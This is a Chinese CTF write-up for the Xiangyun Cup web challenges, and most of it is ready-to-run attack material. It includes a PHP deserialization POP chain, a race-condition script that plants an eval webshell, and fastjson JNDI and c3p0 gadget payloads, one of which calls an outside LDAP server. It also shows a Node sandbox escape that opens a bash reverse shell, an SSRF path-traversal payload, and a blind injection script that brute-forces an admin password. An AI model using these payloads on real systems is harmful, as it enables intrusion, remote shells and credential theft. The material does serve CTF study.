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第二届"祥云杯" WEB WP

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ezyii

考察点：就是一个找pop，找到一半队友说有现成的。https://xz.aliyun.com/t/9948 (之后删了)

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('Firebasky');
        }
    }

    echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('Firebasky');
            include("closure/autoload.php");
            $a = function(){system('cat /flag.txt');phpinfo();    };
            $a = (\Opis\Closure\serialize($a));
            $b = (unserialize($a));
            $this->source=$b;
        }
    }
}

果然一打就欧克。。。

 

安全检测

考察点：文件包含session条件竞争

猜一猜是ssrf，先读一下本地

成功显示了本地页面

参数admin页面。然后访问。。。访问不到说明需要刚刚的方法访问

成功获得源代码

哎文件包含，一看就是session条件竞争哎，都考烂了。而且过滤一点迷迷糊糊。file_put_contents不是file_put_content。

只不过这里一直跑条件竞争，手工访问并且添加包含文件也就是我们正在条件竞争的文件。然后在tmp写写入php文件进行包含

import io
import requests
import threading

def Write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 512)
        session.post(url='url', 
                 data={'PHP_SESSION_UPLOAD_PROGRESS': '111111111111111111111111111111111111111111111111111111111<?php phpinfo();file_put_contents("/tmp/1","<?php eval(base64_decode(\$_GET[1]));phpinfo();?>");?>'}, 
                 files={'file': ('Firebasky.txt',f)}, 
                 cookies={'PHPSESSID': 'Firebasky'})

if __name__=="__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1,50):
            threading.Thread(target=Write,args=(session,)).start()

system("/getflag.sh");

http://127.0.0.1/admin/include123.php?u=/tmp/1&1=c3lzdGVtKCIvZ2V0ZmxhZy5zaCIpOw==

 

层层穿透

考察点：Apache Flink RCE 加 内网fastjson绕过

https://blog.csdn.net/weixin_45492773/article/details/105975768

我们先获得shell。分析代码我们发现是fastjson而且是内网环境。而且加了一些过滤

上午找到一个链子：本地打通了，环境有问题然后。。。打了一下午，然后以为不出网。重新找。

内网环境：https://github.com/Firebasky/ctf-Challenge/tree/main/2021_xyb_fastjson_demo

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://1.116.136.120:1600/TomcatBypass/TomcatEcho"],"Realms":[""],"a":"a"}

然后找到这个。使用我们可以使用其他链进行绕过。查看lib里面存在c3p0

然后直接上exp。百度就欧克。https://github.com/depycode/fastjson-c3p0

在打之前需要登录，因为有shiro验证。

POST /doLogin admin/123456 就欧克。

/admin/test

cmd: cat /flag
Content-Type: application/json

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F6401000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然后我们添加恶意key和value去绕过

然后我们将内网的ip端口代理出来就欧克，简单的测试一下发现IP是10.10.1.11而且因为环境是springboot默认端口是8080直接代理出来就欧克。

使用msf代理。

portfwd add -l 8080 -p 8080 -r 10.10.1.11

这里我想吐槽一下环境，exp本地上午就调试好了，打了一下午环境都没有出。。环境是真的不行。。。。。。。。。

 

crawler_z

考察：zombie模块注入漏洞

https://ha.cker.in/index.php/Article/13563

功能大概就是爬虫功能，主要是绕过爬虫的url，exp文章中有写了。

漏洞点在goto里面的visit

然后功能就是我们传入bucket然后就是生成token去判断去请求爬虫。主要是我们在这个过程中替换我们的url就欧克。

需要注意我们传入的bucket是通过checkBucket函数验证然后给了personalBucket

最后通过/verify传递通过personalBucket更新，也就是说我们可以覆盖之前的url，但是token还是一样的。

先生成token

然后替换bucket为我们的url里面的exp。

之后成功更新

之后访问/user/bucket，成功反弹。

exp.html

<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()</script>

 

Secrets_Of_Admin

登录通过sql数据库里面获得

admin/e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645

然后输入我们的content拼接进入template模板里面，生成pdf。然后放进数据库

这里通过数组绕过。然后/api/files路由又会创建我们的控制传输。进行存放数据库。

在/api/files/:id页面里面读取我们存放的文件内容

https://github.com/marcbachmann/node-html-pdf/issues/530

https://www.npmjs.com/advisories/1095 测试http协议

但是我们可以通过src标签进行绕过，去访问http://127.0.0.1:8888/api/files 让他去创建一个admin的用户文件是flag，checksun为我们控制的，就成功。文件名字我们可以通过目录超越去操作。这里进行拼接。

exp

content[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=/../files/flag%26checksum=5201314">

然后访问/api/files/5201314就可以下载flag

 

PackageManager2021

考察：sql注入

大概功能就是注册用户登录，之后自己可以添加包，通过注入去获得token然后提交我们的包，让bot去访问返回cookie。然后登录admin去获得flag包。

本地测试xss可以打通，不知道题目打不通。之后在/packages/submit页面可以进行注入

cf87efe0c36a12aec113cd7982043573 “||this.username==”admin 。绕过token。

xss没有打通然后就通过注入去获得admin密码。

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
import requests
passwd = ""
for i in range(0,50):
    for j in range(32,127):
        burp0_url = "http://47.104.108.80:8888/auth"
        burp0_cookies = {"session": "s%3A48cl_lUReimQytHn7toEfeafbGGIpWXB.YBzs%2B3EcrGrFNvfOoe0wEbmm2NSA%2B4tVAlsYy7eRoIE"}
        burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.104.108.80:8888", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.104.108.80:8888/auth", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
        burp0_data = {"_csrf": "kATaxQjv-Uka6Hw6X85iWgBuhyTxqgy7pvVA", "token": "cf87efe0c36a12aec113cd7982043573\"||(this.username==\"admin\"&&this.password[{}]==\"{}\")||\"".format(i,chr(j))}
        res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,allow_redirects=False)
        if res.status_code == 302:
            passwd += chr(j)
            print(passwd)

然后直接登录就ok。

 

总结

题目不错慢慢的偏java和nodejs方向了，其他的懂的都懂。。。。